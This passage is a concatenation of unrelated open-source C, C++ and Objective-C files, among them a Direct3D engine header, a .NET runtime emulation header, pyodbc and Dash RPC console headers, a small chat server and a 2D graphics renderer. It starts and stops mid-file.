for new swap chains. IDirect3DSurface9* _default_backbuffer; IDirect3DSurface9* _default_depthbuffer; ID3DXEffect* _skeleton_shader; IDirect3DVertexDeclaration9* _skeleton_decleration; D3DXMATRIX _world_matrix, _view_matrix, _projection_matrix; void _set_backbuffer_size( unsigned int width, unsigned int height); D3D_Engine(D3D_Engine&); // null D3D_Engine& operator=(D3D_Engine&); // null }; // ----==== Inline Methods ====---- // void D3D_Engine::set_camera( Vector3 from, Vector3 to, Vector3 up) { set_camera( from.x, from.y, from.z, to.x, to.y, to.z, up.x, up.y, up.z); } void D3D_Engine::reset_transform() { D3DXMatrixIdentity( &_world_matrix); _d3d_dev->SetTransform( D3DTS_WORLD, &_world_matrix); } void D3D_Engine::set_texture( IDirect3DTexture9* tex, int stream) { if( _d3d_dev && FAILED( _d3d_dev->SetTexture( stream, tex))) throw rockslide_util::D3DError("Failed to set texture"); } void D3D_Engine::feed_bone_transforms(D3DXMATRIX *matrix_buffer, int size) { if( _skeleton_shader && FAILED(_skeleton_shader->SetMatrixArray("boneArray", matrix_buffer, size))) throw rockslide_util::D3DError("Failed to set boneArray into constant buffer"); } void D3D_Engine::_set_uv_factor(float uvf) { // DEBUG (probably) if( _skeleton_shader && FAILED(_skeleton_shader->SetFloat("d_uvfactor", uvf))) throw rockslide_util::FatalError("Failed to set uv factor to buffer."); } void D3D_Engine::change_display_size( unsigned int width, unsigned int height) { _display_width = width; _display_height = height; _set_backbuffer_size( width, height); } } #endif
// // Generated by class-dump 3.5 (64 bit). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard. // #import "DVTStackView_ML.h" @interface IDEMappingModelEditorStackView : DVTStackView_ML { } - (void)layoutBottomUp; @end
// // ViewController.h // Notification // // Created by David Yang on 15/2/28. // Copyright (c) 2015年 Sensoro. All rights reserved. // #import <UIKit/UIKit.h> @interface ViewController : UIViewController @end
// // NSDictionary+Log.h // // Created by yangbin on 16/10/27. // Copyright © 2016年 yangbin. All rights reserved. // #import <Foundation/Foundation.h> @interface NSDictionary (Log) @end
/* * cor.h - Emulation of the "mscoree.dll" interface. * * Copyright (C) 2003 Southern Storm Software, Pty Ltd. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #ifndef _COR_H_ #define _COR_H_ /* * Include the OLE2 definitions that we need to do COM-like things. */ #include "corole2.h" /* * Include the common header structures and definitions. */ #include "corhdr.h" /* * Define the C API's. */ #ifdef __cplusplus extern "C" { #endif /* * Define the name of the execution engine. */ #ifdef _COR_REAL_WIN32 #define MSCOREE_SHIM_W L"mscoree.dll" #define MSCOREE_SHIM_A "mscoree.dll" #else #define MSCOREE_SHIM_W L"libmscoree.so" #define MSCOREE_SHIM_A "libmscoree.so" #endif /* * Flags for "CoInitializeEE". */ typedef enum tagCOINITEE { COINITEE_DEFAULT = 0, COINITEE_DLL = 1, COINITEE_MAIN = 2 } COINITIEE; /* * Flags for "CoUninitializeEE". */ typedef enum tagCOUNINITEE { COUNINITEE_DEFAULT = 0, COUNINITEE_DLL = 1 } COUNINITIEE; /* * Flags for "CoInitializeCor". */ typedef enum tagCOINITCOR { COINITCOR_DEFAULT = 0 } COINITICOR; /* * Initialize the execution engine. */ STDAPI CoInitializeEE(DWORD fFlags); /* * Uninitialize the execution engine. */ STDAPI_(void) CoUninitializeEE(BOOL fFlags); /* * Shutdown the COM routines that are used by the execution engine. */ STDAPI_(void) CoEEShutDownCOM(void); /* * Entry point into the library that is called by a ".dll". */ BOOL STDMETHODCALLTYPE _CorDllMain (HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved); /* * Entry point into the library that is called by a ".exe". */ __int32 STDMETHODCALLTYPE _CorExeMain(void); /* * Internal version of the ".exe" entry point. */ __int32 STDMETHODCALLTYPE _CorExeMain2(PBYTE pUnmappedPE, DWORD cUnmappedPE, LPWSTR pImageNameIn, LPWSTR pLoadersFileName, LPWSTR pCmdLine); /* * Validate an image. Returns a HRESULT. */ STDAPI _CorValidateImage(PVOID *ImageBase, LPCSTR FileName); /* * Notify the library of an image unload. */ STDAPI_(void) _CorImageUnloading(PVOID ImageBase); /* * Higher-level common language runtime initialization. */ STDAPI CoInitializeCor(DWORD fFlags); /* * Higher-level common language runtime termination. */ STDAPI_(void) CoUninitializeCor(void); /* * Add a destructor callback for a specific CPU exception code. */ typedef void (*TDestructorCallback)(EXCEPTION_RECORD *); STDAPI_(void) AddDestructorCallback(int code, TDestructorCallback cb); #ifdef __cplusplus }; #endif /* * Define the C++ API's. */ #ifdef __cplusplus /* * Determine if an element type is a modifier. */ _cor_inline int CorIsModifierElementType(CorElementType type) { if(type == ELEMENT_TYPE_BYREF || type == ELEMENT_TYPE_PTR) { return 1; } else { return (type & ELEMENT_TYPE_MODIFIER); } } /* * Determine if an element type is primitive. */ _cor_inline int CorIsPrimitiveType(CorElementType type) { return (type < ELEMENT_TYPE_PTR); } /* * Get the uncompressed size of a metadata-encoded value. */ inline ULONG CorSigUncompressDataSize(PBYTE value) { register int lead = value[0]; if((lead & 0x80) == 0) { return 1; } else if((lead & 0xC0) == 0x80) { return 2; } else { return 4; } } #endif /* __cplusplus */ #endif /* _COR_H */
// // TYMViewController.h // TYMProgressBarView // // Created by Yiming Tang on 6/7/13. // Copyright (c) 2013 - 2016 Yiming Tang. All rights reserved. // @interface TYMViewController : UIViewController @end
#include <stdio.h> #include <stdlib.h> #include "gtkscore.h" GtkScore* gtk_score_new (GtkLabel* label) { if (!label) return NULL; GtkScore* new = (GtkScore*) calloc (1, sizeof (GtkScore)); gchar buff[256]; new->label = label; new->score = 0; sprintf (buff, "%d", new->score); gtk_label_set_text (new->label, buff); return new; } gint gtk_score_inc (GtkScore* gscore) { if (!gscore) return -1; gchar buff[256]; gscore->score++; sprintf (buff, "%d", gscore->score); gtk_label_set_text (gscore->label, buff); return 0; } gint gtk_score_dec (GtkScore* gscore) { if (!gscore) return -1; gchar buff[256]; gscore->score--; sprintf (buff, "%d", gscore->score); gtk_label_set_text (gscore->label, buff); return 0; } gint gtk_score_reset (GtkScore* gscore) { if (!gscore) return -1; gchar buff[256]; gscore->score = 0; sprintf (buff, "%d", gscore->score); gtk_label_set_text (gscore->label, buff); return 0; } gint gtk_score_get (GtkScore* gscore) { if (!gscore) return -1; return gscore->score; } void gtk_score_free (GtkScore* gscore) { if (!gscore) return; free (gscore); return; }
/* Copyright (C) 2011 by Ivan Safrin Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #pragma once #include "PolyGlobals.h" #include "PolyString.h" struct PHYSFS_File; class _PolyExport OSFileEntry { public: OSFileEntry() {}; OSFileEntry(const Polycode::String& path, const Polycode::String& name, int type); Polycode::String name; Polycode::String extension; Polycode::String nameWithoutExtension; Polycode::String basePath; Polycode::String fullPath; int type; static const int TYPE_FILE = 0; static const int TYPE_FOLDER = 1; }; class _PolyExport OSFILE { public: OSFILE(){} void debugDump(); int fileType; FILE *file; PHYSFS_File *physFSFile; static const int TYPE_FILE = 0; static const int TYPE_ARCHIVE_FILE = 1; }; class _PolyExport OSBasics { public: static OSFILE *open(const Polycode::String& filename, const Polycode::String& opts); static int close(OSFILE *file); static size_t read( void * ptr, size_t size, size_t count, OSFILE * stream ); static size_t write( const void * ptr, size_t size, size_t count, OSFILE * stream ); static int seek(OSFILE * stream, long int offset, int origin ); static long tell(OSFILE * stream); static std::vector<OSFileEntry> parsePhysFSFolder(const Polycode::String& pathString, bool showHidden); static std::vector<OSFileEntry> parseFolder(const Polycode::String& pathString, bool showHidden); static bool isFolder(const Polycode::String& pathString); static void createFolder(const Polycode::String& pathString); static void removeItem(const Polycode::String& pathString); private: };
// // NSNumber+PRRouterURLCoding.h // PRRouter // // Created by Elethom Hunter on 18/05/2016. // Copyright © 2016 Elethom Hunter. All rights reserved. // #import <Foundation/Foundation.h> @interface NSNumber (PRRouterURLCoding) - (NSString *)pr_URLEncodedString; @end
/* * This software is licensed under the terms of the MIT-License * See COPYING for further information. * --- * Copyright (C) 2014, Lukas Weber <laochailan@web.de> */ #ifndef VBO_H #define VBO_H #include "resource/model.h" typedef struct _LaoVBOBinding _LaoVBOBinding; struct _LaoVBOBinding { int start; int end; int id; }; typedef unsigned int GLuint; struct LaoVBO; struct LaoModel; struct LaoVertex; void _lao_vbo_init(struct LaoVBO *vbo, int size); void _lao_vbo_bind_model(struct LaoVBO *vbo, struct LaoModel *m, struct LaoVertex *verts); void _lao_vbo_unbind_model(struct LaoVBO *vbo, struct LaoModel *m); void _lao_vbo_free(struct LaoVBO *vbo); #endif
// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated // documentation files (the "Software"), to deal in the Software without restriction, including without limitation the // rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE // WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS // OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR // OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. #ifndef CONNECTION_H #define CONNECTION_H struct Cursor; extern PyTypeObject ConnectionType; struct Connection { PyObject_HEAD // Set to SQL_NULL_HANDLE when the connection is closed. HDBC hdbc; // Will be SQL_AUTOCOMMIT_ON or SQL_AUTOCOMMIT_OFF. uintptr_t nAutoCommit; // The ODBC version the driver supports, from SQLGetInfo(DRIVER_ODBC_VER). This is set after connecting. char odbc_major; char odbc_minor; // The escape character from SQLGetInfo. This is not initialized until requested, so this may be zero! PyObject* searchescape; // Will be true if SQLDescribeParam is supported. If false, we'll have to guess but the user will not be able // to insert NULLs into binary columns. bool supports_describeparam; // The column size of datetime columns, obtained from SQLGetInfo(), used to determine the datetime precision. int datetime_precision; #if PY_MAJOR_VERSION < 3 bool unicode_results; // If true, ANSI columns are returned as Unicode. #endif // The connection timeout in seconds. long timeout; PyObject* unicode_encoding; // The optional Unicode encoding of the database. Unicode strings are // encoded when sent and decoded when received. // // If not provided, UCS-2 is used. // These are copied from cnxn info for performance and convenience. int varchar_maxlength; int wvarchar_maxlength; int binary_maxlength; bool need_long_data_len; // Output conversions. Maps from SQL type in conv_types to the converter function in conv_funcs. // // If conv_count is zero, conv_types and conv_funcs will also be zero. // // pyodbc uses this manual mapping for speed and portability. The STL collection classes use the new operator and // throw exceptions when out of memory. pyodbc does not use any exceptions. int conv_count; // how many items are in conv_types and conv_funcs. SQLSMALLINT* conv_types; // array of SQL_TYPEs to convert PyObject** conv_funcs; // array of Python functions bool useParameterArrayBinding; // allow executemany to use parameter array binding }; #define Connection_Check(op) PyObject_TypeCheck(op, &ConnectionType) #define Connection_CheckExact(op) (Py_TYPE(op) == &ConnectionType) /* * Used by the module's connect function to create new connection objects. If unable to connect to the database, an * exception is set and zero is returned. */ PyObject* Connection_New(PyObject* pConnectString, bool fAutoCommit, bool fAnsi, bool fUnicodeResults, long timeout, bool fReadOnly, bool fParameterArrayBinding, PyObject* attrs_before); /* * Used by the Cursor to implement commit and rollback. */ PyObject* Connection_endtrans(Connection* cnxn, SQLSMALLINT type); #endif
// Copyright (c) 2011-2014 The Bitcoin developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #ifndef BITCOIN_QT_RPCCONSOLE_H #define BITCOIN_QT_RPCCONSOLE_H #include "guiutil.h" #include "peertablemodel.h" #include "net.h" #include <QDialog> class ClientModel; namespace Ui { class RPCConsole; } QT_BEGIN_NAMESPACE class QItemSelection; QT_END_NAMESPACE /** Local Bitcoin RPC console. */ class RPCConsole: public QDialog { Q_OBJECT public: explicit RPCConsole(QWidget *parent); ~RPCConsole(); void setClientModel(ClientModel *model); enum MessageClass { MC_ERROR, MC_DEBUG, CMD_REQUEST, CMD_REPLY, CMD_ERROR }; protected: virtual bool eventFilter(QObject* obj, QEvent *event); private slots: void on_lineEdit_returnPressed(); void on_tabWidget_currentChanged(int index); /** open the debug.log from the current datadir */ void on_openDebugLogfileButton_clicked(); /** change the time range of the network traffic graph */ void on_sldGraphRange_valueChanged(int value); /** update traffic statistics */ void updateTrafficStats(quint64 totalBytesIn, quint64 totalBytesOut); void resizeEvent(QResizeEvent *event); void showEvent(QShowEvent *event); void hideEvent(QHideEvent *event); public slots: void clear(); /** Wallet repair options */ void walletSalvage(); void walletRescan(); void walletZaptxes1(); void walletZaptxes2(); void walletUpgrade(); void walletReindex(); void reject(); void message(int category, const QString &message, bool html = false); /** Set number of connections shown in the UI */ void setNumConnections(int count); /** Set number of blocks shown in the UI */ void setNumBlocks(int count); /** Set number of masternodes shown in the UI */ void setMasternodeCount(const QString &strMasternodes); /** Go forward or back in history */ void browseHistory(int offset); /** Scroll console view to end */ void scrollToEnd(); /** Switch to info tab and show */ void showInfo(); /** Switch to console tab and show */ void showConsole(); /** Switch to network tab and show */ void showNetwork(); /** Switch to peers tab and show */ void showPeers(); /** Switch to wallet-repair tab and show */ void showRepair(); /** Open external (default) editor with dash.conf */ void showConfEditor(); /** Handle selection of peer in peers list */ void peerSelected(const QItemSelection &selected, const QItemSelection &deselected); /** Handle updated peer information */ void peerLayoutChanged(); /** Show folder with wallet backups in default browser */ void showBackups(); signals: // For RPC command executor void stopExecutor(); void cmdRequest(const QString &command); /** Get restart command-line parameters and handle restart */ void handleRestart(QStringList args); private: static QString FormatBytes(quint64 bytes); void startExecutor(); void setTrafficGraphRange(int mins); /** Build parameter list for restart */ void buildParameterlist(QString arg); /** show detailed information on ui about selected node */ void updateNodeDetail(const CNodeCombinedStats *stats); enum ColumnWidths { ADDRESS_COLUMN_WIDTH = 170, SUBVERSION_COLUMN_WIDTH = 140, PING_COLUMN_WIDTH = 80 }; Ui::RPCConsole *ui; ClientModel *clientModel; QStringList history; int historyPtr; NodeId cachedNodeid; }; #endif // BITCOIN_QT_RPCCONSOLE_H
#ifndef _REGISTERS_H #define _REGISTERS_H struct registers_t { unsigned long gs, fs; unsigned long rax, rbx, rcx, rdx, rdi, rsi, rbp, rsp; unsigned long r8, r9, r10, r11, r12, r13, r14, r15; unsigned long rflags; unsigned long int_no, error_code; }; void dump_registers(struct registers_t *regs); #endif // _REGISTERS_H
/* Name: QtRpt Version: 1.5.4 Programmer: Aleksey Osipov E-mail: aliks-os@ukr.net 2012-2015 Copyright 2012-2015 Aleksey Osipov Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #ifndef EXAMPLEDLG13_H #define EXAMPLEDLG13_H #include <QDialog> #include "qtrpt.h" namespace Ui { class ExampleDlg13; } class ExampleDlg13 : public QDialog { Q_OBJECT public: explicit ExampleDlg13(QWidget *parent = 0); ~ExampleDlg13(); private: Ui::ExampleDlg13 *ui; private slots: void print(); void setField(RptFieldObject &); }; #endif // EXAMPLEDLG13_H
/* šbotsu ver ChatSv.exe [/S] [ƒ|[ƒg”ԍ†] /S ... ’âŽ~‚·‚éB‹N“®’¼Œã‚¾‚ÆŽ~‚Ü‚ç‚È‚¢‚±‚Æ‚à‚ ‚éBƒ|[ƒg”ԍ†‚Ì‘O‚Å‚ ‚邱‚ƁB */ #include "C:\Factory\Common\Options\SockServer.h" #define USERNAME_LENMAX 60 #define MEMBER_MAX 100 #define REMARK_LENMAX 280 #define TIMELINE_MAX 1000 // ---- remark ---- typedef struct Remark_t { char *Stamp; char *UserName; char *Message; } Remark_t; static void ReleaseRemark(Remark_t *i) { memFree(i->Stamp); memFree(i->UserName); memFree(i->Message); memFree(i); } // ---- member ---- typedef struct Member_st { char *UserName; uint LastBeatTime; } Member_t; static void ReleaseMember(Member_t *i) { memFree(i->UserName); memFree(i); } // ---- static autoList_t *TimeLine; // { Remark_t * ... } static autoList_t *Members; // { Member_t * ... } static int Perform(char *prmFile, char *ansFile) { autoList_t *lines = readLines(prmFile); char *command; command = refLine(lines, 0); if(!strcmp(command, "REMARK")) { char *userName = refLine(lines, 1); char *message = refLine(lines, 2); userName = lineToJDocMax(userName, 0, USERNAME_LENMAX); message = lineToJDocMax(message, 0, REMARK_LENMAX); cout("REMARK (%s) %s\n", userName, message); while(TIMELINE_MAX < getCount(TimeLine)) // 2bs_while { Remark_t *remark = (Remark_t *)desertElement(TimeLine, 0); ReleaseRemark(remark); } { Remark_t *remark = nb_(Remark_t); remark->Stamp = makeCompactStamp(NULL); remark->UserName = userName; remark->Message = message; addElement(TimeLine, (uint)remark); } writeOneLineNoRet(ansFile, "REMARK_OK"); // userName // message } else if(!strcmp(command, "TIME-LINE")) { char *bgnStmp = refLine(lines, 1); char *endStmp = refLine(lines, 2); Remark_t *remark; uint remark_index; autoBlock_t *buff = newBlock(); bgnStmp = lineToJDocMax(bgnStmp, 0, 14); endStmp = lineToJDocMax(endStmp, 0, 14); cout("TIME-LINE %s -> %s\n", bgnStmp, endStmp); foreach(TimeLine, remark, remark_index) { if(strcmp(bgnStmp, remark->Stamp) < 0 && strcmp(remark->Stamp, endStmp) < 0) // ? bgnStmp ` endStmp, (bgnStmp, endStmp) ‚͊܂܂Ȃ¢B { cout("+ %s (%s) %s\n", remark->Stamp, remark->UserName, remark->Message); ab_addLine(buff, remark->Stamp); ab_addLine(buff, "\t"); ab_addLine(buff, remark->UserName); ab_addLine(buff, "\t"); ab_addLine(buff, remark->Message); ab_addLine(buff, "\n"); } } cout("TIME-LINE END\n"); writeBinary_cx(ansFile, buff); memFree(bgnStmp); memFree(endStmp); } else if(!strcmp(command, "HEARTBEAT")) { char *userName = refLine(lines, 1); Member_t *member; uint index; uint currTime = now(); autoBlock_t *buff = newBlock(); userName = lineToJDocMax(userName, 0, USERNAME_LENMAX); foreach(Members, member, index) if(!strcmp(member->UserName, userName)) break; if(!member) { cout("LOGIN MEMBER [%s]\n", userName); member = nb_(Member_t); member->UserName = strx(userName); addElement(Members, (uint)member); } member->LastBeatTime = currTime; // ---- timeout ---- foreach(Members, member, index) { if(member->LastBeatTime + 60 < currTime) // ? timeout { cout("TIMEOUT MEMBER [%s]\n", member->UserName); ReleaseMember(member); setElement(Members, index, 0); } } removeZero(Members); // ---- overflow ---- while(MEMBER_MAX < getCount(Members)) // 2bs_while { uint oldestPos = 0; uint oldestTime = UINTMAX; foreach(Members, member, index) { if(member->LastBeatTime < oldestTime) { oldestPos = index; oldestTime = member->LastBeatTime; } } member = (Member_t *)getElement(Members, oldestPos); cout("OVERFLOW MEMBER [%s] %u\n", member->UserName, oldestPos); ReleaseMember(member); fastDesertElement(Members, oldestPos); } // ---- cout("MEMBER BEGIN\n"); foreach(Members, member, index) { cout("MEMBER [%s] T=%u\n", member->UserName, currTime - member->LastBeatTime); ab_addLine(buff, member->UserName); ab_addLine(buff, "\n"); } cout("MEMBER END\n"); writeBinary_cx(ansFile, buff); memFree(userName); } else if(!strcmp(command, "LOGOUT")) { char *userName = refLine(lines, 1); Member_t *member; uint index; userName = lineToJDocMax(userName, 0, USERNAME_LENMAX); cout("LOGOUT MEMBER [%s]\n", userName); foreach(Members, member, index) { if(!strcmp(member->UserName, userName)) { cout("LOGOUT OK\n"); ReleaseMember(member); setElement(Members, index, 0); } } removeZero(Members); writeOneLineNoRet(ansFile, "LOGOUT_OK"); memFree(userName); } releaseDim(lines, 1); return 1; } #define STOP_EV_UUID "{934bb764-b021-4335-9bb1-733552908fcf}" static char *StopEvName; static uint StopEv; static int Idle(void) { if(handleWaitForMillis(StopEv, 0)) return 0; while(hasKey()) if(getKey() == 0x1b) return 0; return 1; } int main(int argc, char **argv) { int stopFlag = 0; uint portno = 59998; if(argIs("/S")) stopFlag = 1; if(hasArgs(1)) portno = toValue(nextArg()); StopEvName = xcout(STOP_EV_UUID "_%u", portno); if(stopFlag) { LOGPOS(); eventWakeup(StopEvName); return; } StopEv = eventOpen(StopEvName); TimeLine = newList(); Members = newList(); sockServer(Perform, portno, 3, 1000, Idle); handleClose(StopEv); }
/* Public domain. */ #ifndef STRERR_H #define STRERR_H #include "hasattribute.h" struct strerr { struct strerr *who; const char *x; const char *y; const char *z; } ; extern struct strerr strerr_sys; extern void strerr_sysinit(void); extern void strerr_warn(const char *,const char *,const char *,const char *,const char *,const char *,const struct strerr *); extern void strerr_die(int,const char *,const char *,const char *,const char *,const char *,const char *,const struct strerr *) __attribute__((noreturn)); #define strerr_warn6(x1,x2,x3,x4,x5,x6,se) \ strerr_warn((x1),(x2),(x3),(x4),(x5),(x6),(se)) #define strerr_warn5(x1,x2,x3,x4,x5,se) \ strerr_warn((x1),(x2),(x3),(x4),(x5),0,(se)) #define strerr_warn4(x1,x2,x3,x4,se) \ strerr_warn((x1),(x2),(x3),(x4),0,0,(se)) #define strerr_warn3(x1,x2,x3,se) \ strerr_warn((x1),(x2),(x3),0,0,0,(se)) #define strerr_warn2(x1,x2,se) \ strerr_warn((x1),(x2),0,0,0,0,(se)) #define strerr_warn1(x1,se) \ strerr_warn((x1),0,0,0,0,0,(se)) #define strerr_warn6sys(x1,x2,x3,x4,x5,x6) \ strerr_warn((x1),(x2),(x3),(x4),(x5),(x6),&strerr_sys) #define strerr_warn5sys(x1,x2,x3,x4,x5) \ strerr_warn((x1),(x2),(x3),(x4),(x5),0,&strerr_sys) #define strerr_warn4sys(x1,x2,x3,x4) \ strerr_warn((x1),(x2),(x3),(x4),0,0,&strerr_sys) #define strerr_warn3sys(x1,x2,x3) \ strerr_warn((x1),(x2),(x3),0,0,0,&strerr_sys) #define strerr_warn2sys(x1,x2) \ strerr_warn((x1),(x2),0,0,0,0,&strerr_sys) #define strerr_warn1sys(x1) \ strerr_warn((x1),0,0,0,0,0,&strerr_sys) #define strerr_die6(e,x1,x2,x3,x4,x5,x6,se) \ strerr_die((e),(x1),(x2),(x3),(x4),(x5),(x6),(se)) #define strerr_die5(e,x1,x2,x3,x4,x5,se) \ strerr_die((e),(x1),(x2),(x3),(x4),(x5),0,(se)) #define strerr_die4(e,x1,x2,x3,x4,se) \ strerr_die((e),(x1),(x2),(x3),(x4),0,0,(se)) #define strerr_die3(e,x1,x2,x3,se) \ strerr_die((e),(x1),(x2),(x3),0,0,0,(se)) #define strerr_die2(e,x1,x2,se) \ strerr_die((e),(x1),(x2),0,0,0,0,(se)) #define strerr_die1(e,x1,se) \ strerr_die((e),(x1),0,0,0,0,0,(se)) #define strerr_die6sys(e,x1,x2,x3,x4,x5,x6) \ strerr_die((e),(x1),(x2),(x3),(x4),(x5),(x6),&strerr_sys) #define strerr_die5sys(e,x1,x2,x3,x4,x5) \ strerr_die((e),(x1),(x2),(x3),(x4),(x5),0,&strerr_sys) #define strerr_die4sys(e,x1,x2,x3,x4) \ strerr_die((e),(x1),(x2),(x3),(x4),0,0,&strerr_sys) #define strerr_die3sys(e,x1,x2,x3) \ strerr_die((e),(x1),(x2),(x3),0,0,0,&strerr_sys) #define strerr_die2sys(e,x1,x2) \ strerr_die((e),(x1),(x2),0,0,0,0,&strerr_sys) #define strerr_die1sys(e,x1) \ strerr_die((e),(x1),0,0,0,0,0,&strerr_sys) #define strerr_die6x(e,x1,x2,x3,x4,x5,x6) \ strerr_die((e),(x1),(x2),(x3),(x4),(x5),(x6),0) #define strerr_die5x(e,x1,x2,x3,x4,x5) \ strerr_die((e),(x1),(x2),(x3),(x4),(x5),0,0) #define strerr_die4x(e,x1,x2,x3,x4) \ strerr_die((e),(x1),(x2),(x3),(x4),0,0,0) #define strerr_die3x(e,x1,x2,x3) \ strerr_die((e),(x1),(x2),(x3),0,0,0,0) #define strerr_die2x(e,x1,x2) \ strerr_die((e),(x1),(x2),0,0,0,0,0) #define strerr_die1x(e,x1) \ strerr_die((e),(x1),0,0,0,0,0,0) #endif
/** * PLAIN FRAMEWORK ( https://github.com/viticm/plainframework ) * $Id process.h * @link https://github.com/viticm/plainframework for the canonical source repository * @copyright Copyright (c) 2014- viticm( viticm.ti@gmail.com ) * @license * @user viticm<viticm.ti@gmail.com> * @date 2014/07/07 18:04 * @uses the system process module */ #ifndef PF_SYS_PROCESS_H_ #define PF_SYS_PROCESS_H_ #include "pf/sys/config.h" namespace pf_sys { namespace process { typedef struct { int32_t id; float cpu_percent; uint64_t VSZ; uint64_t RSS; } info_t; PF_API int32_t getid(); PF_API int32_t getid(const char *filename); PF_API bool writeid(const char *filename); PF_API bool waitexit(const char *filename); PF_API void getinfo(int32_t id, info_t &info); PF_API void get_filename(char *filename, size_t size); PF_API float get_cpu_usage(int32_t id); PF_API uint64_t get_virtualmemory_usage(int32_t id); PF_API uint64_t get_physicalmemory_usage(int32_t id); PF_API bool daemon(); }; //namespace process }; //namespace pf_sys #define SYS_PROCESS_CURRENT_INFO_PRINT() \ DEBUGPRINTF("cpu: %.1f%% VSZ: %dk RSS: %dk",\ pf_sys::process::get_cpu_usage(\ pf_sys::process::getid()),\ pf_sys::process::get_virtualmemory_usage(\ pf_sys::process::getid()),\ pf_sys::process::get_physicalmemory_usage(\ pf_sys::process::getid())) #endif //PF_SYS_PROCESS_H_
#include "cog_graphics.h" #include "stdio.h" #include "cog.h" #include "cog_anim.h" #include "cog_core.h" #include "cog_defs.h" #include "cog_list.h" #include "cog_map.h" #include "cog_math.h" #include "cog_rect.h" #include "cog_sprite.h" #include "cog_graphics_opengl.h" typedef struct { void (*init)(cog_window*); void (*clear)(void); void (*draw)(void); void (*draw_sprite)(cog_sprite* sprite, uint32_t idx); void (*draw_rect)(cog_rect* rect); void (*draw_text)(cog_text* text); uint32_t (*gen_tex_id)(void); uint32_t (*load_texture)(const char* filename, int* width, int* height); void (*prepare)(uint32_t amount); void (*set_camera_pos)(cog_pos2* pos); void (*custom_render)(); void (*flush)(void); } cog_renderer; static cog_renderer r; static cog_map sprite_cache; static cog_list texture_list; static cog_vec2 camera_vel; static cog_pos2 camera_pos; void cog_graphics_draw_rect(cog_rect* rect) { r.draw_rect(rect); } /*----------------------------------------------------------------------------- * Sprites are drawn centred at the sprite's x and y coord, as opposed to most * engines where they are drawn from the top left. *-----------------------------------------------------------------------------*/ void cog_graphics_draw_sprite(cog_sprite* sprite, uint32_t idx) { r.draw_sprite(sprite, idx); } void cog_graphics_draw_text(cog_text* text) { r.draw_text(text); } uint32_t cog_graphics_load_texture(const char* filename, int* width, int* height) { //Cache textures so we don't load the same thing twice. void* item = cog_map_get_hash(&sprite_cache, filename); if(item != 0) { return *(uint32_t*)item; } else { uint32_t* tex_id = cog_malloc(sizeof(uint32_t)); (*tex_id) = r.load_texture(filename, width, height); cog_map_put_hash(&sprite_cache, filename, (cog_dataptr)tex_id); cog_list_append(&texture_list, (cog_dataptr)tex_id); cog_debugf("Inserting tex_id %d into list for filename %s", *tex_id, filename); return (*tex_id); } } void cog_graphics_init(cog_window* win) { // Default and best supported method is opengl r.draw = cog_graphics_opengl_draw; r.draw_rect = cog_graphics_opengl_draw_rect; r.draw_sprite = cog_graphics_opengl_draw_sprite; r.init = cog_graphics_opengl_init; r.draw_text = cog_graphics_opengl_draw_text; r.gen_tex_id = cog_graphics_opengl_gen_tex_id; r.load_texture = cog_graphics_opengl_load_texture; r.prepare = cog_graphics_opengl_prepare; r.set_camera_pos = cog_graphics_opengl_set_camera_pos; r.clear = cog_graphics_opengl_clear; r.flush = cog_graphics_opengl_flush; r.custom_render = NULL; r.init(win); cog_map_init(&sprite_cache); cog_list_init(&texture_list, sizeof(uint32_t)); //camera_pos.x = 1.0; } void cog_graphics_update(double timestep) { camera_pos.x += camera_vel.x * timestep; camera_pos.y += camera_vel.y * timestep; } void cog_graphics_set_custom_render(void (*custom_render)()) { r.custom_render = custom_render; } void cog_graphics_render(cog_window* window) { //Clear color buffer r.clear(); r.set_camera_pos(&camera_pos); for(int i = 0; i < COG_LAYER_MAX; i++) { COG_LIST_FOREACH(&texture_list) { uint32_t global_idx = 0; uint32_t tex_id = *((uint32_t*)curr->data); uint32_t cnt = cog_sprite_len(tex_id, i) + cog_anim_len(tex_id, i); if(cnt > 0) { 